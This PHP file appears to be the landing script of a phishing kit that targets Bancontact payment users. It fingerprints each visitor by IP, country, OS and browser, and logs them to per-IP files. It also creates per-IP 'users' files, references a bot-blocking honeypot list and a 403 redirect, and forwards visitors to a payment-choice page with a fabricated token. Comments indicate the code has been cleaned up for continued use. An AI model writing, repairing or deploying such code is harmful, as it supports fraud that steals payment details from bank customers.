<?php
// debug: temporarily enable logging to file (do not enable display_errors on production)
ini_set('log_errors', '1');
ini_set('error_log', __DIR__ . '/error_log_php.txt'); // change path as needed
error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);

// Basic session based on remote IP (note: collisions if users share IP)
$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
session_id(md5($ip));
session_start();

include 'config.php';
 
// defensive retrieval of server values
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$site_refer = $_SERVER['HTTP_REFERER'] ?? '';

$honeypotbots = @file_get_contents('honeypotbots.dat'); // may be false
$errorUrl = '403.php';



$metri = $ip; $geoip = 'http://www.geoplugin.net/php.gp?ip='.$metri;

$_SESSION['getIt'] = 'file_get_contents';


// Helper: get remote content robustly (tries file_get_contents then curl)
function get_remote_content(string $url)
{
    // try file_get_contents if allow_url_fopen
    if (ini_get('allow_url_fopen')) {
        $data = @file_get_contents($url);
        if ($data !== false) return $data;
    }

    // fall back to cURL
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $data = curl_exec($ch);
        $errno = curl_errno($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($errno === 0 && $data !== false && ($httpCode >= 200 && $httpCode < 400)) {
            return $data;
        }
    }

    return false;
}

// GeoIP: use JSON endpoint (safer than PHP serialized string)
$geoip_url = 'http://www.geoplugin.net/json.gp?ip=' . urlencode($ip);
$geo_content = get_remote_content($geoip_url);

if ($geo_content === false) {
    // fallback: don't fatal — set unknown country
    error_log("GeoIP lookup failed for IP: {$ip}");
    $_SESSION['countryCode'] = '??';
    $_SESSION['countryName'] = 'Unknown';
    $_SESSION['continentCode'] = '';
} else {
    $geo = @json_decode($geo_content, true);
    if (is_array($geo) && !empty($geo['geoplugin_countryCode'])) {
        $_SESSION['continentCode'] = $geo['geoplugin_continentCode'] ?? '';
        $_SESSION['countryCode']   = $geo['geoplugin_countryCode'] ?? '';
        $_SESSION['countryName']   = $geo['geoplugin_countryName'] ?? '';
    } else {
        // unexpected response
        error_log("GeoIP returned unexpected data for IP {$ip}: " . substr($geo_content, 0, 500));
        $_SESSION['countryCode'] = '??';
        $_SESSION['countryName'] = 'Unknown';
        $_SESSION['continentCode'] = '';
    }
}

// small helper functions you had (kept and cleaned)
function getOS($user_agent) {
    $os_platform = "Unknown OS Platform";
    $os_array = [
        '/windows nt 10/i'      =>  'Windows 10',
        '/windows nt 6.3/i'     =>  'Windows 8.1',
        '/windows nt 6.2/i'     =>  'Windows 8',
        '/windows nt 6.1/i'     =>  'Windows 7',
        '/windows nt 6.0/i'     =>  'Windows Vista',
        '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
        '/windows nt 5.1/i'     =>  'Windows XP',
        '/windows xp/i'         =>  'Windows XP',
        '/windows nt 5.0/i'     =>  'Windows 2000',
        '/windows me/i'         =>  'Windows ME',
        '/win98/i'              =>  'Windows 98',
        '/win95/i'              =>  'Windows 95',
        '/win16/i'              =>  'Windows 3.11',
        '/macintosh|mac os x/i' =>  'Mac OS X',
        '/mac_powerpc/i'        =>  'Mac OS 9',
        '/linux/i'              =>  'Linux',
        '/kalilinux/i'          =>  'KaliLinux',
        '/ubuntu/i'             =>  'Ubuntu',
        '/iphone/i'             =>  'iPhone',
        '/ipod/i'               =>  'iPod',
        '/ipad/i'               =>  'iPad',
        '/android/i'            =>  'Android',
        '/blackberry/i'         =>  'BlackBerry',
        '/webos/i'              =>  'Mobile',
        '/Windows Phone/i'      =>  'Windows Phone'
    ];
    foreach ($os_array as $regex => $value) {
        if ($user_agent !== '' && preg_match($regex, $user_agent)) {
            $os_platform = $value;
            break;
        }
    }
    return $os_platform;
}


function getBrowser($user_agent) {
    $browser = "Unknown Browser";
    $browser_array = [
        '/msie/i'       =>  'Internet Explorer',
        '/firefox/i'    =>  'Firefox',
        '/Mozilla\/5.0.*Chrome/i' => 'Chrome', // avoid matching Mozilla generically
        '/chrome/i'     =>  'Chrome',
        '/edge/i'       =>  'Edge',
        '/safari/i'     =>  'Safari',
        '/opera/i'      =>  'Opera',
        '/OPR/i'        =>  'Opera',
        '/Netscape/i'   =>  'Netscape',
        '/maxthon/i'    =>  'Maxthon',
        '/konqueror/i'  =>  'Konqueror',
        '/Valve Steam GameOverlay/i'  =>  'Steam',
        '/mobile/i'     =>  'Handheld Browser'
    ];
    foreach ($browser_array as $regex => $value) {
        if ($user_agent !== '' && preg_match($regex, $user_agent)) {
            $browser = $value;
            break;
        }
    }
    return $browser;
}

$user_os = getOS($user_agent);
$user_browser = getBrowser($user_agent);

// write visit (safe filename, avoid slashes)
$safe_ipfilename = preg_replace('/[^a-zA-Z0-9\.\-\_]/', '_', $ip);
$visits_line = date("Y-m-d - H:i:s - ") . ($_SESSION['countryCode'] ?? '') . " " . $ip . " | " . $user_os . " | " . $user_browser . " | Come from site :" . ($site_refer ?: 'direct') . " | user agent:" . $user_agent . PHP_EOL;
@file_put_contents(__DIR__ . '/visites/' . $safe_ipfilename . '.txt', $visits_line, FILE_APPEND | LOCK_EX);

// csrf token

$csrftoken = base64_encode($_SERVER['HTTP_USER_AGENT'].$ip.date('Y:M:D'));
 

// optional: simple bot check using $stripos (your logic omitted)
$stripos = 0;
if ($stripos > 0) {
    header("Location: " . $errorUrl . "?" . ($_GET['token'] ?? ''));
    exit;
}

// preserve amount if present
if (isset($_GET['amount'])) {
    $_SESSION['amount'] = $_GET['amount'];
}

// payment method handling (example)
$method = $_GET['method'] ?? '';


$pm = ($method === 'Bancontact') ? 'bc-choice.php' : 'bc-choice.php'; // identical - adjust if other pages exist

$DIR = $pm . "?token=" . rawurlencode($csrftoken);
 
// create users file safely (empty)
@file_put_contents(__DIR__ . '/users/' . $safe_ipfilename . '.txt', '');

// final redirect (use absolute/relative path as you need)
header("Location: " . $DIR);
exit;
